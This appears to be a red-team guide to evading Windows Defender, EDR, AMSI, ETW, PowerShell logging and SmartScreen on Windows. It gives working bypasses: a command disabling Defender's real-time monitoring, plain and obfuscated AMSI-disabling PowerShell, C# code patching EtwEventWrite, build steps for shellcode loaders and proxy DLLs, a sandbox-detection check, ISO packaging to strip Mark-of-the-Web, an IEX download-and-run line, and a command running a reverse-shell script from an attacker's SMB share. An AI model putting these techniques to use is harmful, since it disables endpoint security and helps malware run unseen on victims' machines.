Antivirus (AV) Bypass

In this guide, we provide a deep dive into Windows Antivirus (AV) and Endpoint Detection and Response (EDR) bypass techniques, empowering red teamers and advanced penetration testers with up-to-date,

Stop Windows Defender (Bypass Microsoft Defender)

When performing red team operations or malware testing in lab environments, disabling or bypassing Windows Defender (Microsoft Defender) is often a necessary first step. While modern Defender versions are harder to disable, there are still a few common tools and techniques used to neutralize it β€” especially if you have administrative privileges.

defendnot – Kill Defender in One Click

defendnot is a lightweight tool designed to disable Windows Defender by modifying key services and registry entries. It's often used in post-exploitation stages where persistence is already achieved. Keep in mind that many versions of this tool are flagged as malicious, so execution must be stealthy or obfuscated.

Features:

  • Disables real-time protection

  • Stops Defender services

  • Modifies registry keys to prevent reactivation

no-defender – Fake AV Method

The no-defender script uses a clever method to fool Windows into thinking another antivirus solution is installed. This triggers Windows Security Center to automatically disable Defender to prevent conflicts.

How it works:

  • Fakes the presence of another AV solution by editing WMI or registry entries

  • Causes Defender to automatically shut itself down

  • Requires minimal permissions and leaves fewer traces than brute-force disabling

βœ… Effective in environments where you cannot fully disable Defender, but need to suppress its real-time scanning.

Manual Defender Disable (Admin Rights Required)

If you have administrative privileges, the most direct method is to disable Defender manually via PowerShell or Group Policy.

PowerShell (Run as Admin):

Set-MpPreference -DisableRealtimeMonitoring $true

Group Policy:

  1. Run gpedit.msc

  2. Navigate to: Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus

  3. Set Turn off Microsoft Defender Antivirus to Enabled

This will completely shut down Defender, though modern Windows versions may automatically reactivate it after a while or after reboot.


AV Evasion Methodology

If you’ve ever created a tool or payload for a red team exercise, malware lab, or ethical hacking test, you’ve probably seen your file get instantly flagged or deleted by antivirus software β€” even before you could run it.

That’s because modern security tools like Windows Defender and EDR (Endpoint Detection and Response) software are much smarter than they used to be. They don’t just look for viruses β€” they analyze how files behave, both before and after execution.

In this guide, we’ll break down how AVs detect malware and how attackers try to bypass each layer using real-world examples.

Static Detection β€” "Caught Without Even Running"

Static detection is the simplest and fastest method. The antivirus scans your file before it runs, and checks:

  • Known virus signatures (patterns of code)

  • Suspicious or malicious strings (e.g., mimikatz, powershell -enc)

  • Metadata (file name, version, company name, icon)

  • File structure (e.g., abnormal PE headers or compressed sections)

You download a public reverse shell script called meterpreter.exe from GitHub. Before you even run it, Defender deletes it. Why? Because it's already flagged and fingerprinted in their database.

πŸ› οΈ How to Bypass It:

πŸ”’ Encryption

Attackers encrypt the malicious part of the code so antivirus can’t see it. A loader program decrypts it during runtime.

Encrypting a Cobalt Strike beacon and using a C# loader to inject it into memory.

πŸŒ€ Obfuscation

They change the code's appearance without changing what it does. This confuses signature scanners.

Replace all strings like "mimikatz" with "miXXkz" and decode them at runtime.

βš™οΈ Custom Tools

They build their own tools from scratch, so there's no existing signature.

Writing a custom LSASS dumper in C instead of using mimikatz.exe.

βœ… Pro Tip: Use ThreatCheck

It’s a tool that helps you test which parts of your file Defender doesn’t like. It breaks your file into pieces and checks which ones trigger detection.

Dynamic Analysis β€” "Let's See What It Actually Does"

If your file passes the static checks, AVs may run it in a sandbox β€” a fake computer environment β€” to see what it tries to do.

If your file starts:

  • Dumping passwords

  • Spawning PowerShell

  • Reading browser cookies …it’ll probably get blocked.

πŸ› οΈ How to Avoid Sandboxes:

⏳ Sleep Before Execution

They delay the malicious action. Sandboxes only run files for a short time.

Add a sleep(60) command. If the sandbox only watches for 10 seconds, it won’t catch anything.

⚠️ Advanced sandboxes may skip sleep calls, so attackers use tricky sleep methods (like CPU loops or encryption delays).

πŸ’» Check for Low Resources

Most sandboxes have very little RAM and CPU to stay fast.

If RAM < 2GB, exit the program.

πŸ–₯️ Machine Checks (Anti-Sandbox Tricks)

They check if the file is running on a real user’s machine or a fake one.

Microsoft Defender's sandbox uses a computer name called HAL9TH. So malware can do:

if (computer_name == "HAL9TH") exit();

➑️ Example: Only run if the system is part of a real company domain like contoso.local.

It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit.


πŸ›‘οΈ EXE vs DLL Payloads for AV Evasion

When it comes to bypassing antivirus (AV) detection, Dynamic Link Libraries (DLLs) often present a lower detection profile compared to standard executable (EXE) files. This observation is especially true in the context of offensive security tools like Havoc, where detection signatures for EXEs are more mature and widely distributed among endpoint protection platforms.

In practical red team operations, it's generally advisable to favor DLL payloads over EXEs whenever feasible. This is because DLL files tend to attract less immediate scrutiny, both from static and dynamic analysis engines. There are several reasons for this:

  • Less common as direct execution targets: DLLs are typically loaded by another process rather than executed directly, making them less likely to be flagged during casual analysis.

  • Execution context control: DLLs can be injected into trusted processes (e.g., via rundll32.exe, regsvr32.exe, or manual injection), allowing more stealthy execution chains.

  • Fewer behavioral triggers: Since DLLs are often executed through indirect methods, they may not immediately display suspicious behavior, helping them evade heuristic or behavioral detection models.

πŸ” Case Comparison – EXE vs DLL Detection Rates

As demonstrated in the following virustotal.com comparison, a standard Havoc DLL payload showed a significantly lower detection rate compared to its EXE counterpart:

  • EXE Payload: Detected by 7 out of 26 engines

  • DLL Payload: Detected by only 4 out of 26 engines

This doesn't imply DLLs are undetectable β€” all payloads can and eventually will be caught if reused enough β€” but the lower signature profile makes DLLs a better starting point for stealthy execution.


🧬 DLL Sideloading & Proxying for Stealthy Payload Execution

DLL Sideloading is a well-known and highly effective technique for achieving stealthy execution of malicious code by exploiting the Windows DLL search order. The concept is simple: many applications load DLLs from their own directory before searching system paths. By placing a malicious DLL alongside a trusted application, you can trick the application into loading your code instead of the legitimate library.

This technique is particularly valuable in red team engagements, especially when you want to blend into legitimate application behavior.

πŸ” Identifying DLL Sideloading Opportunities

To discover applications susceptible to DLL sideloading, tools like Siofra are incredibly useful. Below is a PowerShell script that recursively scans executables within C:\Program Files\ and checks for potential DLL hijack opportunities:

powershellCopyEditGet-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name | ForEach-Object {
    $binaryToCheck = "C:\Program Files\" + $_
    C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binaryToCheck
}

This will produce a list of applications and the DLLs they attempt to load β€” helping you target candidates for hijacking.

⚠️ Important Note: Many public sideloading targets are widely known and monitored by EDRs. Always test and verify before using them in an engagement. Prefer discovering new, lesser-known targets for stealthier operations.


πŸ” DLL Proxying: Preserving Application Functionality

Simply dropping a DLL with the correct filename is not enough. Applications often expect the loaded DLL to expose specific exported functions. If these are missing, the application may crash or fail to load the DLL.

To overcome this, we use DLL Proxying (or Forwarding) β€” a technique where the malicious DLL:

  1. Implements required exports that forward calls to the original DLL.

  2. Executes the payload alongside this forwarding logic.

This preserves the original functionality of the application while allowing malicious code execution β€” making it extremely stealthy.

πŸ› οΈ Building a Proxy DLL with SharpDLLProxy

We’ll use the excellent SharpDllProxy tool by @flangvik to automate the creation of proxy DLLs:

Steps to Create a Working Proxy DLL:

  1. Identify a vulnerable application Use tools like Siofra or Process Hacker to find a binary that loads external DLLs insecurely.

  2. Generate shellcode For example, using Havoc C2.

  3. (Optional) Encode the shellcode To further obfuscate detection, you can use an encoder like Shikata Ga Nai (SGN).

  4. Generate the proxy code Use SharpDllProxy to generate forwarding stubs and inject the shellcode:

    .\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin

    This will generate:

    • A C source file that proxies the original DLL and executes your payload.

    • The renamed original DLL to forward calls to.

  5. Compile the proxy DLL

    • Open Visual Studio and create a new C++ DLL project.

    • Paste the proxy code from output_dllname/dllname_pragma.c.

    • Build the DLL.

  6. Deploy your proxy DLL Place it alongside the target executable under the expected DLL name.


❄️ Freeze: Stealthy Shellcode Execution via Direct Syscalls & Suspended Processes

Freeze is a lightweight and powerful payload delivery toolkit developed by Optiv. It is designed to evade modern Endpoint Detection and Response (EDR) solutions by leveraging several advanced evasion techniques, including:

  • Suspended process injection

  • Direct system calls (syscalls)

  • Custom shellcode encryption and execution

  • Bypassing userland API hooks

Freeze is particularly effective in situations where traditional injection techniques (e.g., CreateRemoteThread, VirtualAllocEx) are flagged by AV/EDR.

βš™οΈ How Freeze Works

Freeze creates an executable payload stub that, when launched, will:

  1. Decrypt and load embedded shellcode.

  2. Spawn a suspended legitimate process (e.g., notepad.exe or dllhost.exe).

  3. Inject the shellcode using direct syscalls instead of standard Windows APIs β€” avoiding common detection triggers.

  4. Resume the target process, executing your shellcode in memory.

This approach minimizes behavioral anomalies and avoids detection by user-mode hooks that most EDRs rely on.


πŸ› οΈ Using Freeze with Havoc Shellcode

Here’s a quick walkthrough for building and using Freeze with shellcode generated from Havoc C2:

  1. Clone and build Freeze:

    git clone https://github.com/optiv/Freeze.git
    cd Freeze
    go build Freeze.go
  2. Generate your shellcode (e.g., raw .bin payload from Havoc C2 or any shellcode generator like msfvenom or Donut).

  3. Build the Freeze payload with encryption enabled:

    ./Freeze -I demon.bin -encrypt -O demon.exe
    • -I demon.bin: Input shellcode.

    • -encrypt: Encrypt the payload in the stub for obfuscation.

    • -O demon.exe: Output filename.

  4. Execution Run the resulting demon.exe. It will launch a trusted process in a suspended state, inject your shellcode using direct syscalls, and resume execution β€” without triggering Microsoft Defender or most commercial EDRs (as of the last test).

βœ… Result: In controlled tests, Freeze-enabled payloads executed silently with no alerts from Windows Defender, thanks to its combination of encryption, syscalls, and stealthy process manipulation.


🧠 AMSI (Anti-Malware Scan Interface)

AMSI, or Anti-Malware Scan Interface, is a security feature introduced by Microsoft to detect and block fileless malware β€” that is, malicious code that never touches disk and only lives in memory.

Before AMSI, antivirus programs mainly scanned files stored on your hard drive. This meant if an attacker delivered a payload directly into memory (like through PowerShell or VBScript), traditional AV engines couldn’t catch it. AMSI was built to close that gap.

πŸ” What is AMSI and Where Does It Work?

AMSI is integrated directly into the Windows OS, especially in scripting and automation components. This means when you run a script, AMSI steps in to scan its contents before it’s executed β€” even if it's obfuscated or loaded directly into memory.

AMSI is active in:

  • PowerShell – Both scripts and commands typed interactively

  • Windows Script Host – wscript.exe, cscript.exe (for VBScript and JavaScript)

  • Office Macros – Like VBA in Excel or Word

  • JavaScript/VBScript – When run on Windows

  • UAC (User Account Control) – When launching .exe, .msi, .com, or ActiveX installers

  • .NET applications – Starting from .NET Framework 4.8, even in-memory loaded code is scanned

When malicious or suspicious code is detected, AMSI passes it to the antivirus engine (like Windows Defender) to decide whether to block it.

πŸ§ͺ AMSI in Action

Let’s say you try running this PowerShell command:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

This script attempts to download and execute a known offensive PowerShell tool (PowerView) β€” all in memory. You might think this would go unnoticed because nothing hits the disk.

However, AMSI inspects the script before it runs. Defender flags it with a message like:

amsi: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Detected malicious content

Even though no file was saved, AMSI still caught it because it analyzes live memory content.

βš™οΈ Why .NET Version Matters

If you’re using .NET 4.8 or higher, AMSI is also applied to C# assemblies, including those loaded using:

Assembly.Load(byte[])

This means even if your payload is in-memory, .NET will pass it through AMSI. For this reason, attackers often target older .NET versions like 4.7.2 or below, where this check doesn’t exist.

🚩 Common AMSI Bypass Techniques

Now that you know what AMSI does, here are real-world techniques attackers use to bypass it. Each has pros, cons, and detection risks.

1. πŸŒ€ Script Obfuscation

Since AMSI looks for known malicious patterns, attackers try to hide or change how their code looks.

For example:

  • Change variable names

  • Break up keywords

  • Encode parts of the script

⚠️ However, AMSI is capable of deobfuscating even layered obfuscation, especially if it uses common techniques. This means obfuscation might work β€” or it might fail badly. It all depends on how well the obfuscation is done and how aggressively AMSI is configured.

2. 🧱 Forcing AMSI to Fail (amsiInitFailed Trick)

AMSI is implemented as a DLL (Dynamic Link Library) that’s loaded into every script engine (like PowerShell, wscript, etc.). If that DLL fails to initialize, AMSI doesn't work.

This line forces AMSI to β€œfail silently”:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

πŸ’‘ This disables AMSI in the current PowerShell process.

βœ… Works even as an unprivileged user ❌ But: This command is heavily flagged today β€” most AVs detect and block it immediately.

3. πŸ§™ Modified AMSI Bypass (Obfuscated Version)

Here’s an obfuscated version of the AMSI bypass to reduce detection:

Try{
  $Xdatabase = 'Utils';$Homedrive = 'si'
  $ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
  $DiskMgr = '[email protected]£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
  $fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
  $CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
  $Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
  $SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
  $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
  $Spotfix.SetValue($null,$true)
}Catch{Throw $_}

⚠️ Important: This will probably get flagged as well over time. Once bypass techniques become public, AV signatures are updated quickly.

4. 🧬 Memory Patching (AmsiScanBuffer Hack)

Discovered by @RastaMouse, this technique involves:

  • Locating the function AmsiScanBuffer inside amsi.dll

  • Overwriting it in memory to always return E_INVALIDARG (which means: β€œeverything is fine” to AMSI)

βœ… It’s stealthier than the amsiInitFailed trick ❌ Requires deep understanding of memory manipulation and riskier if done wrong

You can read the detailed guide here: πŸ“– https://rastamouse.me/memory-patching-amsi-bypass/

5. 🧹 Removing AMSI Signatures From Memory

Tools like:

These scan the process memory for AMSI detection signatures and then overwrite them (usually with NOP instructions). It’s like wiping fingerprints before the cops arrive.

6. βš”οΈ Tools that Help Bypass AMSI

  • πŸ› οΈ AMSI.fail: Generates multiple evasion-ready AMSI bypass payloads

  • πŸ“š whoamsi: Lists which AV/EDR products use AMSI

7. 🚫 Use PowerShell v2 (No AMSI at All)

If you start PowerShell in version 2 mode, AMSI doesn’t load at all.

powershell.exe -version 2

⚠️ This version is deprecated, and many systems disable it. But if it’s enabled, it’s a fast way to run unscanned scripts.


πŸ” PowerShell Logging

PowerShell Logging is a built-in Windows feature designed to monitor and record PowerShell activity on a system. This is a powerful forensic and security tool that allows defenders to:

  • Track every PowerShell command that was executed

  • Identify usage of suspicious scripts

  • Detect lateral movement and post-exploitation actions

From a defensive perspective, logging is great. But from an attacker’s point of view, it’s a huge risk β€” because every move is recorded.

πŸ›‘οΈ What Does PowerShell Log Exactly?

Modern versions of Windows log PowerShell activity in several different ways:

πŸ““ 1. Script Block Logging

  • Records entire blocks of code, even if it’s obfuscated.

  • Even dynamically generated scripts (e.g., using Invoke-Expression) are captured.

πŸ“œ 2. Module Logging

  • Logs all commands executed within PowerShell modules.

  • Useful to see when someone uses tools like PowerView or PowerSploit.

πŸ–ŠοΈ 3. Transcription Logging

  • Acts like a keylogger for PowerShell.

  • Records all input and output to a text file, line by line.

These logs are typically stored in Event Viewer under: Applications and Services Logs > Windows PowerShell and Microsoft-Windows-PowerShell/Operational.

🚨 Why This Matters for Red Teamers and Attackers

If you're using PowerShell to perform tasks like privilege escalation, lateral movement, or payload execution β€” logging will expose you, even if you never drop a file to disk or use obvious malware.

That’s why bypassing PowerShell logging is a common tactic used by attackers and red teamers alike.

βš™οΈ Common Techniques to Bypass PowerShell Logging

Let’s break down practical methods used to evade PowerShell logging. These aren’t magic bullets β€” but understanding them is critical if you're studying offensive security or trying to improve detection.

πŸ”• 1. Disable Script Logging (If You Have Access)

If you already have code execution and want to turn off logging at runtime, there are tools that do this automatically.

βœ… Tool: DisablePSLogging.cs This C# tool disables:

  • Script Block Logging

  • Module Logging

  • Transcription Logging

πŸ› οΈ How it works:

  • Modifies registry keys and internal PowerShell variables in memory.

  • Requires .NET and appropriate permissions (not necessarily admin, but some techniques might require elevated context).

⚠️ Important: This technique may not work on hardened systems with enforced group policies or EDR hooks.

πŸ•΅οΈ 2. Use PowerShell Version 2 (No Logging, No AMSI)

powershell.exe -version 2

Launching PowerShell in version 2 mode disables modern features like:

  • AMSI (Anti-Malware Scan Interface)

  • Script Block Logging

  • Transcription Logging

⚠️ PowerShell v2 is deprecated and often disabled on newer Windows systems, but if it’s still enabled, this is a fast and simple evasion method.

🧩 3. Use an Unmanaged PowerShell Session

A much more stealthy method is to launch PowerShell without using powershell.exe at all.

βœ… Tool: UnmanagedPowerShell This C# project allows you to:

  • Run PowerShell scripts from memory

  • Avoid powershell.exe, AMSI, and logging entirely

🧠 How it works:

  • Loads the PowerShell engine directly from the .NET runtime

  • Does not invoke


🧩 Code Obfuscation

Code obfuscation is a technique used to make your code harder to analyze, reverse-engineer, or detect β€” especially by antivirus (AV), endpoint detection and response (EDR) systems, and reverse engineers.

But obfuscation is a double-edged sword: while it hides your code logic, it can also increase the entropy (randomness) of the binary. Ironically, this makes it more suspicious to AV/EDR engines, which often flag high-entropy files as potentially malicious.

That’s why it's important to apply obfuscation strategically, focusing only on parts of your code that handle sensitive logic, payload execution, or recognizable malware patterns.

🧠 What Is Entropy and Why It Matters

Entropy, in this context, refers to how "random" or "chaotic" the data looks.

Encrypted or heavily obfuscated binaries have higher entropy than normal programs, which makes them stand out during static analysis. Antivirus engines look for this as a signal of potential obfuscation, packing, or encryption.

βœ… Tip: Only obfuscate critical sections of your code β€” such as payload execution, loader logic, or signature-heavy strings β€” rather than the whole binary.

πŸ› οΈ Top Tools for Obfuscating Code and Binaries

Here’s a curated list of popular obfuscation tools used in red teaming, malware development, and software protection. Each one serves a slightly different purpose β€” some are for C#, others for C++, and some for low-level PE obfuscation.

πŸ” ConfuserEx (for .NET)

  • Language: C# / .NET Framework

  • Purpose: Obfuscate and protect .NET applications

  • Features: Control flow obfuscation, anti-debugging, anti-tampering, and string encryption

πŸ’‘ Recommended because it allows selective obfuscation β€” you can choose which parts of the code to protect.

GitHub: ConfuserEx


πŸ₯· InvisibilityCloak

  • Language: C#

  • Purpose: Lightweight C# code obfuscator

  • Features: Basic obfuscation for PowerShell loaders and .NET implants

  • Use Case: Red teamers hiding C# beacon droppers or reflective loaders


πŸ”§ Obfuscator-LLVM (for C/C++)

  • Language: C/C++

  • Purpose: LLVM compiler fork with built-in obfuscation capabilities

  • Features: Control flow flattening, instruction substitution, bogus control flow

  • Use Case: Compile native binaries with embedded obfuscation techniques

GitHub: obfuscator-llvm


πŸ’‘ ADVobfuscator

  • Language: C++11/14

  • Purpose: Compile-time C++ obfuscation

  • Features: Uses template metaprogramming to obfuscate strings and logic during compilation

  • Benefits: No third-party tools or binary modification required


πŸŒ€ obfy

  • Language: C++

  • Purpose: Template-based obfuscation framework

  • Use Case: Adds complex operations to slow down reverse engineering

πŸ” Great for making static analysis and disassembly more difficult.


πŸ΄β€β˜ οΈ Alcatraz

  • Type: x64 binary obfuscator

  • Targets: PE files like .exe, .dll, .sys

  • Features: Obfuscates code and metadata to defeat static analysis

πŸ’‘ Useful for native shellcode loaders or drivers you want to keep hidden from signature-based detection.


🧬 metame

  • Type: Metamorphic engine

  • Purpose: Rewrites executable code into different but equivalent forms

  • Use Case: Avoid signature detection by constantly mutating the binary structure

πŸ“Œ This is more advanced and less common β€” used in custom malware development.


πŸ”— ROPfuscator

  • Type: Assembly-level obfuscation using ROP (Return-Oriented Programming)

  • Language: LLVM-compatible languages (C/C++)

  • What it does: Replaces normal code with ROP chains, completely breaking traditional control flow

  • Use Case: Highly evasive binaries that are extremely difficult to analyze

GitHub: ROPfuscator


πŸ›‘οΈ Nimcrypt

  • Language: Nim

  • Purpose: .NET PE crypter

  • Use Case: Encrypt and encode .NET executables with simple or layered encryption

πŸ”₯ Increasingly popular in offensive security due to Nim’s ability to generate lightweight, low-detection binaries.

GitHub: Nimcrypt


πŸ’£ Inceptor

  • Purpose: Converts .exe or .dll into shellcode

  • Bonus: Supports AV evasion by obfuscating and encoding binaries before loading them in memory

  • Use Case: Combine with manual injection tools or loaders to avoid writing payloads to disk

GitHub: Inceptor

Tool Selection Cheat Sheet

Tool
Language
Type
Best Use Case

ConfuserEx

C# / .NET

.NET binary obfuscator

Obfuscating C# implants and droppers

InvisibilityCloak

C#

Lightweight obfuscator

Red team scripts or loaders

Obfuscator-LLVM

C/C++

Compiler-integrated

Native malware or loaders

ADVobfuscator

C++11/14

Compile-time obfuscation

C++ agents or RATs

Alcatraz

Any x64 binary

Binary-level obfuscator

PE shellcode loaders

Nimcrypt

Nim

.NET crypter

AV evasion for .NET payloads

Inceptor

N/A

Shellcode conversion tool

Convert binaries into shellcode

🧱 Bypassing SmartScreen and Mark-of-the-Web (MoTW)

When you download an .exe file from the internet and try to run it, you might have seen a warning like:

β€œWindows protected your PC – Microsoft Defender SmartScreen prevented an unrecognized app from starting.”

That’s Microsoft Defender SmartScreen in action β€” a security feature designed to protect users from running unknown or potentially harmful applications.

In this section, we’ll break down what SmartScreen and MoTW are, how they work, and what techniques attackers use to bypass them in real-world scenarios.

πŸ›‘οΈ What is SmartScreen?

SmartScreen is a reputation-based protection system developed by Microsoft. It doesn’t scan the file like antivirus engines do β€” instead, it asks:

  • Has this file been downloaded by many people?

  • Is it signed by a trusted certificate?

  • Is the source URL known for distributing malware?

If the file is rare, unsigned, or comes from an untrusted source, SmartScreen displays a warning prompt to the user, blocking execution by default.

🧠 Important Note: The user can still override this by clicking More Info > Run Anyway, but this extra friction can stop casual execution β€” especially in phishing or malware campaigns.

πŸ“Ž What is Mark-of-the-Web (MoTW)?

When a file is downloaded from the internet using browsers, email clients, or other tools, Windows automatically tags it with metadata to indicate it came from an external (potentially unsafe) source.

This metadata is called Mark-of-the-Web, or MoTW, and it's stored in a special NTFS Alternate Data Stream (ADS) attached to the file, named:

Zone.Identifier

This ADS includes:

  • The zone (e.g., Internet Zone)

  • The URL where the file came from

  • The referrer URL

πŸ” You can view this metadata with:

Get-Content .\payload.exe -Stream Zone.Identifier

If MoTW is present and the file is an .exe, .dll, .js, or other executable type, SmartScreen, AMSI, or PowerShell logging may trigger additional security checks.

βœ… Trusted Certificates Bypass SmartScreen

If your executable is digitally signed with a valid, trusted code-signing certificate, SmartScreen will not block it β€” even if it’s newly created.

πŸ“ That’s why many malware campaigns (and red teamers) use stolen or purchased code-signing certificates to bypass SmartScreen reputational checks.

πŸ“¦ Bypassing MoTW with Container Files

A highly effective trick to prevent the Mark-of-the-Web from being applied is to package the payload inside a container file, such as:

  • .iso (disk image)

  • .vhd (virtual hard disk)

  • .zip (in some cases)

Why does this work?

MoTW can only be applied to files on NTFS partitions. When files are inside containers like ISO images, and mounted locally, they don’t carry the Zone.Identifier stream β€” because the file system inside the ISO isn’t NTFS.

So, if you deliver your payload inside an .iso file:

  • The user downloads the ISO

  • They mount it

  • The payload runs without SmartScreen warnings, even if it came from the web

πŸ”§ Tool Spotlight: PackMyPayload

PackMyPayload is a tool created by Mariusz Banach (@mgeeky) that automatically packages your .exe or .dll payload into an .iso file to bypass MoTW and SmartScreen prompts.

πŸ§ͺ Example Usage:

python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+      o     +              o   +      o     +              o
    +             o     +           +             o     +         +
    o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
   :: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
   for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
    o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
    Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

πŸ“¦ This will generate a file like container.iso containing your original payload, ready to send.

When the ISO is mounted and the executable is run from it:

  • There’s no Zone.Identifier stream

  • SmartScreen is less likely to trigger warnings

  • Defender may still scan the binary, but MoTW-specific protections are neutralized


πŸ“‘ Event Tracing for Windows (ETW)

ETW, or Event Tracing for Windows, is a powerful logging and telemetry feature built directly into the Windows operating system. It allows the system and applications to log detailed events that can be used for:

  • Performance monitoring

  • Debugging

  • Security auditing and threat detection

Many modern EDR (Endpoint Detection and Response) systems and antivirus engines use ETW behind the scenes to collect telemetry data without injecting code or hooking APIs, making it a stealthy and efficient way to monitor what’s happening on a system.

πŸ” How ETW Works

ETW uses event providers to generate logs, and event consumers (like security products) to collect and analyze them.

Some common Windows components that act as ETW providers include:

  • PowerShell (via the Microsoft-Windows-PowerShell provider)

  • .NET runtime (via Microsoft-Windows-DotNETRuntime)

  • Sysmon, if installed

  • Any custom ETW-aware application

Security tools listen to these providers to detect suspicious activity like:

  • PowerShell script execution

  • DLL injection

  • Process creation

  • Reflective assembly loading

🧠 How to Bypass ETW Logging

Just like with AMSI, there’s a known technique to disable ETW logging for a specific process at runtime by patching its memory.

The key target is the function:

EtwEventWrite

This function is responsible for emitting ETW events from user-mode processes. If you patch this function in memory so that it returns immediately without writing anything, you effectively disable ETW logging for that process.


πŸ› οΈ Practical ETW Bypass: In-Memory Patching

Here’s the general idea:

  • Locate the address of EtwEventWrite within the current process’s memory space

  • Overwrite the function’s first few bytes with a stub (e.g., return 0)

  • As a result, calls to EtwEventWrite become no-ops

This is very similar to AMSI bypasses that patch AmsiScanBuffer.

Example (C# Concept):

IntPtr funcAddr = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");
uint oldProtect;
VirtualProtect(funcAddr, 4, PAGE_EXECUTE_READWRITE, out oldProtect);
Marshal.Copy(new byte[] { 0xC3 }, 0, funcAddr, 1); // 0xC3 = RET instruction

⚠️ This disables ETW only for the current process β€” security tools may still see other indicators (like new process creation or memory injection from another process).

πŸ“š More Info & Resources

If you want to explore ETW bypasses in detail, check out these trusted resources:


πŸ’‰ C# Assembly Reflection

One of the most effective techniques for stealthy post-exploitation in modern red teaming is loading C# assemblies directly into memory using reflection. This allows attackers to run powerful .NET tools like PowerView, Seatbelt, or custom implants without writing a single file to disk β€” making it much harder for antivirus (AV) and EDR (Endpoint Detection and Response) tools to detect.

This technique, often referred to as in-memory assembly loading or assembly reflection, is widely used in frameworks like:

  • πŸ› οΈ Cobalt Strike

  • πŸ§ͺ Sliver

  • πŸ•ΆοΈ Covenant

  • ☠️ Metasploit

  • πŸ’£ Havoc C2

🧠 Why This Technique Works

When a C# binary is executed normally (e.g., running Seatbelt.exe), the file is dropped to disk, scanned by AV, and may get blocked.

However, using reflection, you can:

  1. Load the binary as a byte array in memory

  2. Execute its entry point using the `.NET runtime** β€” without ever writing the file to disk

This means:

  • No file hashes to scan

  • No executable on disk to flag

  • No signature-based detection if you patch AMSI first

πŸ’‘ The only thing you must handle is AMSI (Anti-Malware Scan Interface), which scans .NET methods and PowerShell scripts in memory. Once that’s bypassed, you're in the clear.

πŸ§ͺ Two Common Execution Modes

There are two primary ways to execute C# assemblies in memory: Inline and Fork & Run. Each has its pros and cons.

πŸ” 1. Fork & Run

What it does:

  • Creates a sacrificial process (e.g., notepad.exe, dllhost.exe)

  • Injects the C# assembly or shellcode into that process

  • Executes it

  • Kills the process after completion

βœ… Benefits:

  • Your main implant (beacon) stays safe β€” if the payload crashes or gets detected, it doesn't kill your C2 session

  • Can bypass basic EDR process tree correlations if done properly

❌ Drawbacks:

  • Spawning new processes is noisy

  • Behavioral detections may alert on suspicious child processes or code injection behavior

πŸ“Œ Common in: Cobalt Strike’s execute-assembly, Sliver’s spawn options, Havoc’s fork modules

πŸ“ 2. Inline Execution

What it does:

  • Loads and runs the C# assembly within the same process (i.e., your current beacon or agent process)

βœ… Benefits:

  • No process creation = less noise

  • Faster and often stealthier than spawning child processes

❌ Drawbacks:

  • If the injected assembly crashes, it could crash your whole implant

  • Memory-based behavioral hooks may still catch the execution depending on how the code is structured

πŸ“Œ Inline execution is often paired with AMSI patching and ETW patching for stealth.

πŸ”§ Tools & Resources for In-Memory Assembly Execution

Here are some great tools and references to help you implement this technique or study it deeper:

πŸ”Ή InlineExecute-Assembly BOF


πŸ”Ή Invoke-SharpLoader

  • PowerShell script that loads compiled C# assemblies directly from memory.

  • Great for quick tests or integrating into custom scripts.


πŸ”Ή S3cur3Th1sSh1t's Video

  • Practical red team demonstration of reflective assembly loading via C# and PowerShell.

  • Shows bypasses for AMSI, ETW, and more.

πŸ” AMSI Reminder


Using Other Programming Languages to Evade AV Detection

When most people think about antivirus (AV) evasion, they focus on PowerShell, C#, or traditional shellcode. But there’s a powerful and often overlooked strategy: leveraging other scripting languages like Go, Java, PHP, Python, and more β€” especially in environments where those interpreters are not installed locally.

This technique is described in detail in the open-source project LOI-Bins. Here's how it works:

πŸ“‚ How It Works – Step by Step

  1. πŸ–₯️ Attacker Sets Up an SMB Share

    • First, you create a network-shared folder on your system (e.g., using SMB) that contains:

      • The language interpreter binary (like java.exe, php.exe, go.exe, etc.)

      • Your payload script (e.g., a reverse shell written in PHP or Java)

      • Any necessary runtime or environment files

  2. 🎯 Victim Machine Accesses the SMB Share

    • From the compromised host, you execute the language interpreter directly from the SMB share without copying it to disk. For example:

      \\attacker-ip\share\php.exe \\attacker-ip\share\rev.php
    • This executes your PHP script in-memory using the interpreter you provide β€” even if PHP is not installed on the target machine.

  3. πŸ’₯ Payload Executes with Minimal Detection

    • Since the payload never touches the disk and the interpreter runs from the network share, you avoid many traditional AV detections.

    • Some AVs may still scan the content in memory, but because you’re using non-standard languages, you bypass most static signatures that typically target PowerShell, batch files, or common C# loaders.


🎯 Why This Works

